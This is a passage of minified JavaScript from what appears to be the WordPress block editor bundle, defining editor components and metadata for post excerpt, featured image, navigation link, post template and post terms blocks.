o&&b&&(f=(0,$e.createElement)("a",{href:"#post-date-pseudo-link",onClick:e=>e.preventDefault()},f)),(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:t,onChange:e=>{s({textAlign:e})}}),b&&!p&&(0,$e.createElement)(We.ToolbarGroup,null,(0,$e.createElement)(We.Dropdown,{popoverProps:d,renderContent:e=>{let{onClose:t}=e;return(0,$e.createElement)(Ze.__experimentalPublishDateTimePicker,{currentDate:b,onChange:_,is12Hour:Rh(v),onClose:t})},renderToggle:e=>{let{isOpen:t,onToggle:n}=e;return(0,$e.createElement)(We.ToolbarButton,{"aria-expanded":t,icon:Ql,title:(0,je.__)("Change Date"),onClick:n,onKeyDown:e=>{t||e.keyCode!==rn.DOWN||(e.preventDefault(),n())}})}}))),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(Ze.__experimentalDateFormatPicker,{format:n,defaultFormat:h,onChange:e=>s({format:e})}),(0,$e.createElement)(We.ToggleControl,{label:null!=y&&y.labels.singular_name?(0,je.sprintf)(// translators: %s: Name of the post type e.g: "post".
(0,je.__)("Link to %s"),y.labels.singular_name.toLowerCase()):(0,je.__)("Link to post"),onChange:()=>s({isLink:!o}),checked:o}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display last modified date"),onChange:e=>s({displayType:e?"modified":"date"}),checked:"modified"===a}))),(0,$e.createElement)("div",c,f))},deprecated:Vh},Gh=()=>qe({name:Dh,metadata:Hh,settings:Fh}),$h=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M12.75 9.333c0 .521-.102.977-.327 1.354-.23.386-.555.628-.893.774-.545.234-1.183.227-1.544.222l-.12-.001v-1.5h.123c.414.001.715.002.948-.099a.395.395 0 00.199-.166c.05-.083.114-.253.114-.584V7.2H8.8V4h3.95v5.333zM7.95 9.333c0 .521-.102.977-.327 1.354-.23.386-.555.628-.893.774-.545.234-1.183.227-1.544.222l-.12-.001v-1.5h.123c.414.001.715.002.948-.099a.394.394 0 00.198-.166c.05-.083.115-.253.115-.584V7.2H4V4h3.95v5.333zM13 20H4v-1.5h9V20zM20 16H4v-1.5h16V16z"})),Uh={from:[{type:"block",blocks:["core/post-content"],transform:()=>(0,Ge.createBlock)("core/post-excerpt")}],to:[{type:"block",blocks:["core/post-content"],transform:()=>(0,Ge.createBlock)("core/post-content")}]},Oh={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/post-excerpt",title:"Post Excerpt",category:"theme",description:"Display a post's excerpt.",textdomain:"default",attributes:{textAlign:{type:"string"},moreText:{type:"string"},showMoreOnNewLine:{type:"boolean",default:!0}},usesContext:["postId","postType","queryId"],supports:{html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-post-excerpt-editor",style:"wp-block-post-excerpt"},{name:qh}=Oh,Wh={icon:$h,transforms:Uh,edit:function(e){let{attributes:{textAlign:t,moreText:n,showMoreOnNewLine:o},setAttributes:a,isSelected:r,context:{postId:l,postType:i,queryId:s}}=e;const c=Number.isFinite(s),u=Ch("postType",i,l),m=u&&!c,[d,p,{rendered:g,protected:h}={}]=(0,lt.useEntityProp)("postType",i,"excerpt",l),v=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${t}`]:t})}),b=(0,$e.useMemo)((()=>{if(!g)return"";const e=(new window.DOMParser).parseFromString(g,"text/html");return e.body.textContent||e.body.innerText||""}),[g]);if(!i||!l)return(0,$e.createElement)("div",v,(0,$e.createElement)("p",null,(0,je.__)("This is the Post Excerpt block, it will display the excerpt from single posts.")),(0,$e.createElement)("p",null,(0,je.__)("If there are any Custom Post Types with support for excerpts, the Post Excerpt block can display the excerpts of those entries as well.")));if(h&&!u)return(0,$e.createElement)("div",v,(0,$e.createElement)(Ze.Warning,null,(0,je.__)("There is no excerpt because this is a protected post.")));const _=(0,$e.createElement)(Ze.RichText,{className:"wp-block-post-excerpt__more-link",tagName:"a","aria-label":(0,je.__)("“Read more” link text"),placeholder:(0,je.__)('Add "read more" link text'),value:n,onChange:e=>a({moreText:e}),withoutInteractiveFormatting:!0}),y=at()("wp-block-post-excerpt__excerpt",{"is-inline":!o}),f=m?(0,$e.createElement)(Ze.RichText,{className:y,"aria-label":(0,je.__)("Post excerpt text"),value:d||b||(r?"":(0,je.__)("No post excerpt found")),onChange:p,tagName:"p"}):(0,$e.createElement)("p",{className:y},b||(0,je.__)("No post excerpt found"));return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(Ze.AlignmentToolbar,{value:t,onChange:e=>a({textAlign:e})})),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show link on new line"),checked:o,onChange:e=>a({showMoreOnNewLine:e})}))),(0,$e.createElement)("div",v,f,!o&&" ",o?(0,$e.createElement)("p",{className:"wp-block-post-excerpt__more-text"},_):_))}},jh=()=>qe({name:qh,metadata:Oh,settings:Wh}),Zh=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M19 3H5c-.6 0-1 .4-1 1v7c0 .5.4 1 1 1h14c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1zM5.5 10.5v-.4l1.8-1.3 1.3.8c.3.2.7.2.9-.1L11 8.1l2.4 2.4H5.5zm13 0h-2.9l-4-4c-.3-.3-.8-.3-1.1 0L8.9 8l-1.2-.8c-.3-.2-.6-.2-.9 0l-1.3 1V4.5h13v6zM4 20h9v-1.5H4V20zm0-4h16v-1.5H4V16z"})),Qh=(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"cover",label:(0,je._x)("Cover","Scale option for Image dimension control")}),(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"contain",label:(0,je._x)("Contain","Scale option for Image dimension control")}),(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"fill",label:(0,je._x)("Fill","Scale option for Image dimension control")})),Kh="cover",Yh={cover:(0,je.__)("Image is scaled and cropped to fill the entire space without being distorted."),contain:(0,je.__)("Image is scaled to fill the space without clipping nor distorting."),fill:(0,je.__)("Image will be stretched and distorted to completely fill the space.")},Jh=e=>{let{clientId:t,attributes:{width:n,height:o,scale:a,sizeSlug:r},setAttributes:l,imageSizeOptions:i=[]}=e;const s=(0,We.__experimentalUseCustomUnits)({availableUnits:(0,Ze.useSetting)("spacing.units")||["px","%","vw","em","rem"]}),c=(e,t)=>{const n=parseFloat(t);isNaN(n)&&t||l({[e]:n<0?"0":t})},u=(0,je._x)("Scale","Image scaling options");return(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"dimensions"},(0,$e.createElement)(We.__experimentalToolsPanelItem,{className:"single-column",hasValue:()=>!!o,label:(0,je.__)("Height"),onDeselect:()=>l({height:void 0}),resetAllFilter:()=>({height:void 0}),isShownByDefault:!0,panelId:t},(0,$e.createElement)(We.__experimentalUnitControl,{label:(0,je.__)("Height"),labelPosition:"top",value:o||"",min:0,onChange:e=>c("height",e),units:s})),(0,$e.createElement)(We.__experimentalToolsPanelItem,{className:"single-column",hasValue:()=>!!n,label:(0,je.__)("Width"),onDeselect:()=>l({width:void 0}),resetAllFilter:()=>({width:void 0}),isShownByDefault:!0,panelId:t},(0,$e.createElement)(We.__experimentalUnitControl,{label:(0,je.__)("Width"),labelPosition:"top",value:n||"",min:0,onChange:e=>c("width",e),units:s})),!!o&&(0,$e.createElement)(We.__experimentalToolsPanelItem,{hasValue:()=>!!a&&a!==Kh,label:u,onDeselect:()=>l({scale:Kh}),resetAllFilter:()=>({scale:Kh}),isShownByDefault:!0,panelId:t},(0,$e.createElement)(We.__experimentalToggleGroupControl,{label:u,value:a,help:Yh[a],onChange:e=>l({scale:e}),isBlock:!0},Qh)),!!i.length&&(0,$e.createElement)(We.__experimentalToolsPanelItem,{hasValue:()=>!!r,label:(0,je.__)("Image size"),onDeselect:()=>l({sizeSlug:void 0}),resetAllFilter:()=>({sizeSlug:void 0}),isShownByDefault:!1,panelId:t},(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Image size"),value:r||"full",options:i,onChange:e=>l({sizeSlug:e}),help:(0,je.__)("Select the size of the source image.")})))},Xh=(0,Wt.compose)([(0,Ze.withColors)({overlayColor:"background-color"})])((e=>{let{clientId:t,attributes:n,setAttributes:o,overlayColor:a,setOverlayColor:r}=e;const{dimRatio:l}=n,{gradientClass:i,gradientValue:s,setGradient:c}=(0,Ze.__experimentalUseGradient)(),u=(0,Ze.__experimentalUseMultipleOriginColorsAndGradients)(),m=(0,Ze.__experimentalUseBorderProps)(n),d={backgroundColor:a.color,backgroundImage:s,...m.style};return(0,$e.createElement)($e.Fragment,null,!!l&&(0,$e.createElement)("span",{"aria-hidden":"true",className:at()("wp-block-post-featured-image__overlay",(p=l,void 0===p?null:"has-background-dim-"+10*Math.round(p/10)),{[a.class]:a.class,"has-background-dim":void 0!==l,"has-background-gradient":s,[i]:i},m.className),style:d}),(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"color"},(0,$e.createElement)(Ze.__experimentalColorGradientSettingsDropdown,nt({__experimentalHasMultipleOrigins:!0,__experimentalIsRenderedInSidebar:!0,settings:[{colorValue:a.color,gradientValue:s,label:(0,je.__)("Overlay"),onColorChange:r,onGradientChange:c,isShownByDefault:!0,resetAllFilter:()=>({overlayColor:void 0,customOverlayColor:void 0,gradient:void 0,customGradient:void 0})}],panelId:t},u)),(0,$e.createElement)(We.__experimentalToolsPanelItem,{hasValue:()=>void 0!==l,label:(0,je.__)("Overlay opacity"),onDeselect:()=>o({dimRatio:0}),resetAllFilter:()=>({dimRatio:0}),isShownByDefault:!0,panelId:t},(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Overlay opacity"),value:l,onChange:e=>o({dimRatio:e}),min:0,max:100,step:10,required:!0}))));var p})),ev=["image"];function tv(e){let{clientId:t,attributes:n,setAttributes:o,context:{postId:a,postType:r,queryId:l}}=e;const i=Number.isFinite(l),{isLink:s,height:c,width:u,scale:m,sizeSlug:d,rel:p,linkTarget:g}=n,[h,v]=(0,lt.useEntityProp)("postType",r,"featured_media",a),{media:b,postType:_}=(0,it.useSelect)((e=>{const{getMedia:t,getPostType:n}=e(lt.store);return{media:h&&t(h,{context:"view"}),postType:r&&n(r)}}),[h,r]),y=function(e,t){var n,o,a;return(null==e||null===(n=e.media_details)||void 0===n||null===(o=n.sizes)||void 0===o||null===(a=o[t])||void 0===a?void 0:a.source_url)||(null==e?void 0:e.source_url)}(b,d),f=(0,it.useSelect)((e=>e(Ze.store).getSettings().imageSizes),[]).filter((e=>{var t,n,o;let{slug:a}=e;return null==b||null===(t=b.media_details)||void 0===t||null===(n=t.sizes)||void 0===n||null===(o=n[a])||void 0===o?void 0:o.source_url})).map((e=>{let{name:t,slug:n}=e;return{value:n,label:t}})),k=(0,Ze.useBlockProps)({style:{width:u,height:c}}),x=(0,Ze.__experimentalUseBorderProps)(n),w=e=>(0,$e.createElement)(We.Placeholder,{className:at()("block-editor-media-placeholder",x.className),withIllustration:!0,style:x.style},e),E=e=>{null!=e&&e.id&&v(e.id)},{createErrorNotice:C}=(0,it.useDispatch)(wt.store),S=e=>{C(e,{type:"snackbar"})},B=(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Jh,{clientId:t,attributes:n,setAttributes:o,imageSizeOptions:f}),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Link settings")},(0,$e.createElement)(We.ToggleControl,{label:null!=_&&_.labels.singular_name?(0,je.sprintf)(// translators: %s: Name of the post type e.g: "post".
(0,je.__)("Link to %s"),_.labels.singular_name.toLowerCase()):(0,je.__)("Link to post"),onChange:()=>o({isLink:!s}),checked:s}),s&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open in new tab"),onChange:e=>o({linkTarget:e?"_blank":"_self"}),checked:"_blank"===g}),(0,$e.createElement)(We.TextControl,{label:(0,je.__)("Link rel"),value:p,onChange:e=>o({rel:e})})))));let T;if(!h&&i)return(0,$e.createElement)($e.Fragment,null,B,(0,$e.createElement)("div",k,w(),(0,$e.createElement)(Xh,{attributes:n,setAttributes:o,clientId:t})));const N=(0,je.__)("Add a featured image"),P={...x.style,height:c,objectFit:c&&m};return T=h?b?(0,$e.createElement)("img",{className:x.className,src:y,alt:b.alt_text?(0,je.sprintf)(// translators: %s: The image's alt text.
(0,je.__)("Featured image: %s"),b.alt_text):(0,je.__)("Featured image"),style:P}):w():(0,$e.createElement)(Ze.MediaPlaceholder,{onSelect:E,accept:"image/*",allowedTypes:ev,onError:S,placeholder:w,mediaLibraryButton:e=>{let{open:t}=e;return(0,$e.createElement)(We.Button,{icon:au,variant:"primary",label:N,showTooltip:!0,tooltipPosition:"top center",onClick:()=>{t()}})}}),(0,$e.createElement)($e.Fragment,null,B,!!b&&!i&&(0,$e.createElement)(Ze.BlockControls,{group:"other"},(0,$e.createElement)(Ze.MediaReplaceFlow,{mediaId:h,mediaURL:y,allowedTypes:ev,accept:"image/*",onSelect:E,onError:S},(0,$e.createElement)(We.MenuItem,{onClick:()=>v(0)},(0,je.__)("Reset")))),(0,$e.createElement)("figure",k,T,(0,$e.createElement)(Xh,{attributes:n,setAttributes:o,clientId:t})))}const nv={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/post-featured-image",title:"Post Featured Image",category:"theme",description:"Display a post's featured image.",textdomain:"default",attributes:{isLink:{type:"boolean",default:!1},width:{type:"string"},height:{type:"string"},scale:{type:"string",default:"cover"},sizeSlug:{type:"string"},rel:{type:"string",attribute:"rel",default:""},linkTarget:{type:"string",default:"_self"},overlayColor:{type:"string"},customOverlayColor:{type:"string"},dimRatio:{type:"number",default:0},gradient:{type:"string"},customGradient:{type:"string"}},usesContext:["postId","postType","queryId"],supports:{align:["left","right","center","wide","full"],color:{__experimentalDuotone:"img, .wp-block-post-featured-image__placeholder, .components-placeholder__illustration, .components-placeholder::before",text:!1,background:!1},__experimentalBorder:{color:!0,radius:!0,width:!0,__experimentalSelector:"img, .block-editor-media-placeholder, .wp-block-post-featured-image__overlay",__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,width:!0}},html:!1,spacing:{margin:!0,padding:!0}},editorStyle:"wp-block-post-featured-image-editor",style:"wp-block-post-featured-image"},{name:ov}=nv,av={icon:Zh,edit:function(e){var t;const n=(0,Ze.useBlockProps)(),o=(0,Ze.__experimentalUseBorderProps)(e.attributes);return null!==(t=e.context)&&void 0!==t&&t.postId?(0,$e.createElement)(tv,e):(0,$e.createElement)("div",n,(0,$e.createElement)(We.Placeholder,{className:at()("block-editor-media-placeholder",o.className),withIllustration:!0,style:o.style}),(0,$e.createElement)(Xh,{attributes:e.attributes,setAttributes:e.setAttributes,clientId:e.clientId}))}},rv=()=>qe({name:ov,metadata:nv,settings:av}),lv=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z"})),iv=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z"})),sv=[{isDefault:!0,name:"post-next",title:(0,je.__)("Next post"),description:(0,je.__)("Displays the post link that follows the current post."),icon:lv,attributes:{type:"next"},scope:["inserter","transform"]},{name:"post-previous",title:(0,je.__)("Previous post"),description:(0,je.__)("Displays the post link that precedes the current post."),icon:iv,attributes:{type:"previous"},scope:["inserter","transform"]}];sv.forEach((e=>{e.isActive||(e.isActive=(e,t)=>e.type===t.type)}));const cv=sv,uv={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/post-navigation-link",title:"Post Navigation Link",category:"theme",description:"Displays the next or previous post link that is adjacent to the current post.",textdomain:"default",attributes:{textAlign:{type:"string"},type:{type:"string",default:"next"},label:{type:"string"},showTitle:{type:"boolean",default:!1},linkLabel:{type:"boolean",default:!1},arrow:{type:"string",default:"none"}},supports:{reusable:!1,html:!1,color:{link:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},style:"wp-block-post-navigation-link"},{name:mv}=uv,dv={edit:function(e){let{attributes:{type:t,label:n,showTitle:o,textAlign:a,linkLabel:r,arrow:l},setAttributes:i}=e;const s="next"===t;let c=s?(0,je.__)("Next"):(0,je.__)("Previous");const u={none:"",arrow:s?"→":"←",chevron:s?"»":"«"}[l];o&&(
/* translators: Label before for next and previous post. There is a space after the colon. */
c=s?(0,je.__)("Next: "):(0,je.__)("Previous: "));const m=s?(0,je.__)("Next post"):(0,je.__)("Previous post"),d=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${a}`]:a})});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,null,(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display the title as a link"),help:(0,je.__)("If you have entered a custom label, it will be prepended before the title."),checked:!!o,onChange:()=>i({showTitle:!o})}),o&&(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Include the label as part of the link"),checked:!!r,onChange:()=>i({linkLabel:!r})}),(0,$e.createElement)(We.__experimentalToggleGroupControl,{label:(0,je.__)("Arrow"),value:l,onChange:e=>{i({arrow:e})},help:(0,je.__)("A decorative arrow for the next and previous link."),isBlock:!0},(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"none",label:(0,je._x)("None","Arrow option for Next/Previous link")}),(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"arrow",label:(0,je._x)("Arrow","Arrow option for Next/Previous link")}),(0,$e.createElement)(We.__experimentalToggleGroupControlOption,{value:"chevron",label:(0,je._x)("Chevron","Arrow option for Next/Previous link")})))),(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(Ze.AlignmentToolbar,{value:a,onChange:e=>{i({textAlign:e})}})),(0,$e.createElement)("div",d,!s&&u&&(0,$e.createElement)("span",{className:`wp-block-post-navigation-link__arrow-previous is-arrow-${l}`},u),(0,$e.createElement)(Ze.RichText,{tagName:"a","aria-label":m,placeholder:c,value:n,allowedFormats:["core/bold","core/italic"],onChange:e=>i({label:e})}),o&&(0,$e.createElement)("a",{href:"#post-navigation-pseudo-link",onClick:e=>e.preventDefault()},(0,je.__)("An example title")),s&&u&&(0,$e.createElement)("span",{className:`wp-block-post-navigation-link__arrow-next is-arrow-${l}`,"aria-hidden":!0},u)))},variations:cv},pv=()=>qe({name:mv,metadata:uv,settings:dv}),gv=[["core/post-title"],["core/post-date"],["core/post-excerpt"]];function hv(){const e=(0,Ze.useInnerBlocksProps)({className:"wp-block-post"},{template:gv});return(0,$e.createElement)("li",e)}const vv=(0,$e.memo)((function(e){let{blocks:t,blockContextId:n,isHidden:o,setActiveBlockContextId:a}=e;const r=(0,Ze.__experimentalUseBlockPreview)({blocks:t,props:{className:"wp-block-post"}}),l=()=>{a(n)},i={display:o?"none":void 0};return(0,$e.createElement)("li",nt({},r,{tabIndex:0,role:"button",onClick:l,onKeyPress:l,style:i}))})),bv={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/post-template",title:"Post Template",category:"theme",parent:["core/query"],description:"Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.",textdomain:"default",usesContext:["queryId","query","queryContext","displayLayout","templateSlug","previewPostType"],supports:{reusable:!1,html:!1,align:!0,__experimentalLayout:{allowEditing:!1},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},style:"wp-block-post-template",editorStyle:"wp-block-post-template-editor"},{name:_v}=bv,yv={icon:wa,edit:function(e){let{clientId:t,context:{query:{perPage:n,offset:o,postType:a,order:r,orderBy:l,author:i,search:s,exclude:c,sticky:u,inherit:m,taxQuery:d,parents:p,pages:g,...h}={},queryContext:v=[{page:1}],templateSlug:b,displayLayout:{type:_="flex",columns:y=1}={},previewPostType:f}}=e;const[{page:k}]=v,[x,w]=(0,$e.useState)(),{posts:E,blocks:C}=(0,it.useSelect)((e=>{const{getEntityRecords:g,getTaxonomies:v}=e(lt.store),{getBlocks:_}=e(Ze.store),y=v({type:a,per_page:-1,context:"view"}),x=m&&(null==b?void 0:b.startsWith("category-"))&&g("taxonomy","category",{context:"view",per_page:1,_fields:["id"],slug:b.replace("category-","")}),w={offset:n?n*(k-1)+o:0,order:r,orderby:l};if(d&&!m){const e=Object.entries(d).reduce(((e,t)=>{let[n,o]=t;const a=null==y?void 0:y.find((e=>{let{slug:t}=e;return t===n}));return null!=a&&a.rest_base&&(e[null==a?void 0:a.rest_base]=o),e}),{});Object.keys(e).length&&Object.assign(w,e)}if(n&&(w.per_page=n),i&&(w.author=i),s&&(w.search=s),null!=c&&c.length&&(w.exclude=c),null!=p&&p.length&&(w.parent=p),u&&(w.sticky="only"===u),m)if(null!=b&&b.startsWith("archive-"))w.postType=b.replace("archive-",""),a=w.postType;else if(x){var E;w.categories=null===(E=x[0])||void 0===E?void 0:E.id}return{posts:g("postType",f||a,{...w,...h}),blocks:_(t)}}),[n,k,o,r,l,t,i,s,a,c,u,m,b,d,p,h,f]),S=(0,$e.useMemo)((()=>null==E?void 0:E.map((e=>({postType:e.type,postId:e.id})))),[E]),B="flex"===_&&y>1,T=(0,Ze.useBlockProps)({className:at()({"is-flex-container":B,[`columns-${y}`]:B})});return E?E.length?(0,$e.createElement)("ul",T,S&&S.map((e=>{var t,n;return(0,$e.createElement)(Ze.BlockContextProvider,{key:e.postId,value:e},e.postId===(x||(null===(t=S[0])||void 0===t?void 0:t.postId))?(0,$e.createElement)(hv,null):null,(0,$e.createElement)(vv,{blocks:C,blockContextId:e.postId,setActiveBlockContextId:w,isHidden:e.postId===(x||(null===(n=S[0])||void 0===n?void 0:n.postId))}))}))):(0,$e.createElement)("p",T," ",(0,je.__)("No results found.")):(0,$e.createElement)("p",T,(0,$e.createElement)(We.Spinner,null))},save:function(){return(0,$e.createElement)(Ze.InnerBlocks.Content,null)}},fv=()=>qe({name:_v,metadata:bv,settings:yv}),kv=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M20 4H4v1.5h16V4zm-2 9h-3c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2zm.5 5c0 .3-.2.5-.5.5h-3c-.3 0-.5-.2-.5-.5v-3c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3zM4 9.5h9V8H4v1.5zM9 13H6c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2zm.5 5c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-3c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3z",fillRule:"evenodd",clipRule:"evenodd"})),xv=["core/bold","core/image","core/italic","core/link","core/strikethrough","core/text-color"],wv={category:kv,post_tag:(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M8.1 12.3c.1.1.3.3.5.3.2.1.4.1.6.1.2 0 .4 0 .6-.1.2-.1.4-.2.5-.3l3-3c.3-.3.5-.7.5-1.1 0-.4-.2-.8-.5-1.1L9.7 3.5c-.1-.2-.3-.3-.5-.3H5c-.4 0-.8.4-.8.8v4.2c0 .2.1.4.2.5l3.7 3.6zM5.8 4.8h3.1l3.4 3.4v.1l-3 3 .5.5-.7-.5-3.3-3.4V4.8zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z"}))};function Ev(e,t){if("core/post-terms"!==t)return e;const n=e.variations.map((e=>({...e,...wv[e.name]&&{icon:wv[e.name]}})));return{...e,variations:n}}const Cv={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/post-terms",title:"Post Terms",category:"theme",description:"Post terms.",textdomain:"default",attributes:{term:{type:"string"},textAlign:{type:"string"},separator:{type:"string",default:", "},prefix:{type:"string",default:""},suffix:{type:"string",default:""}},usesContext:["postId","postType"],supports:{html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},style:"wp-block-post-terms"},{name:Sv}=Cv,Bv={icon:kv,edit:function(e){var t;let{attributes:n,clientId:o,context:a,isSelected:r,setAttributes:l,insertBlocksAfter:i}=e;const{term:s,textAlign:c,separator:u,prefix:m,suffix:d}=n,{postId:p,postType:g}=a,h=(0,it.useSelect)((e=>{var t;if(!s)return{};const{getTaxonomy:n}=e(lt.store),o=n(s);return null!=o&&null!==(t=o.visibility)&&void 0!==t&&t.publicly_queryable?o:{}}),[s]),{postTerms:v,hasPostTerms:b,isLoading:_}=function(e){var t;let{postId:n,term:o}=e;const{slug:a}=o;return(0,it.useSelect)((e=>{var t;if(!(null==o||null===(t=o.visibility)||void 0===t?void 0:t.publicly_queryable))return{postTerms:[],_isLoading:!1,hasPostTerms:!1};const{getEntityRecords:r,isResolving:l}=e(lt.store),i=["taxonomy",a,{post:n,per_page:-1,context:"view"}],s=r(...i);return{postTerms:s,isLoading:l("getEntityRecords",i),hasPostTerms:!(null==s||!s.length)}}),[n,null==o||null===(t=o.visibility)||void 0===t?void 0:t.publicly_queryable])}({postId:p,term:h}),y=p&&g,f=(0,Ze.useBlockDisplayInformation)(o),k=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${c}`]:c,[`taxonomy-${s}`]:s})});return y&&s?(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(Ze.AlignmentToolbar,{value:c,onChange:e=>{l({textAlign:e})}})),(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"advanced"},(0,$e.createElement)(We.TextControl,{autoComplete:"off",label:(0,je.__)("Separator"),value:u||"",onChange:e=>{l({separator:e})},help:(0,je.__)("Enter character(s) used to separate terms.")})),(0,$e.createElement)("div",k,_&&(0,$e.createElement)(We.Spinner,null),!_&&b&&(r||m)&&(0,$e.createElement)(Ze.RichText,{allowedFormats:xv,className:"wp-block-post-terms__prefix",multiline:!1,"aria-label":(0,je.__)("Prefix"),placeholder:(0,je.__)("Prefix")+" ",value:m,onChange:e=>l({prefix:e}),tagName:"span"}),!_&&b&&v.map((e=>(0,$e.createElement)("a",{key:e.id,href:e.link,onClick:e=>e.preventDefault()},(0,St.unescape)(e.name)))).reduce(((e,t)=>(0,$e.createElement)($e.Fragment,null,e,(0,$e.createElement)("span",{className:"wp-block-post-terms__separator"},u||" "),t))),!_&&!b&&((null==h||null===(t=h.labels)||void 0===t?void 0:t.no_terms)||(0,je.__)("Term items not found.")),!_&&b&&(r||d)&&(0,$e.createElement)(Ze.RichText,{allowedFormats:xv,className:"wp-block-post-terms__suffix",multiline:!1,"aria-label":(0,je.__)("Suffix"),placeholder:" "+(0,je.__)("Suffix"),value:d,onChange:e=>l({suffix:e}),tagName:"span",__unstableOnSplitAtEnd:()=>i((0,Ge.createBlock)((0,Ge.getDefaultBlockName)()))}))):(0,$e.createElement)("div",k,f.title)}},Tv=()=>((0,Js.addFilter)("blocks.registerBlockType","core/template-part",Ev),qe({name:Sv,metadata:Cv,settings:Bv})),Nv={attributes:{textAlign:{type:"string"},level:{type:"number",default:2},isLink:{type:"boolean",default:!1},rel:{type:"string",attribute:"rel",default:""},linkTarget:{type:"string",default:"_self"}},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0},spacing:{margin:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0}},save:()=>null,migrate:Kt,isEligible(e){var t;let{style:n}=e;return null==n||null===(t=n.typography)||void 0===t?void 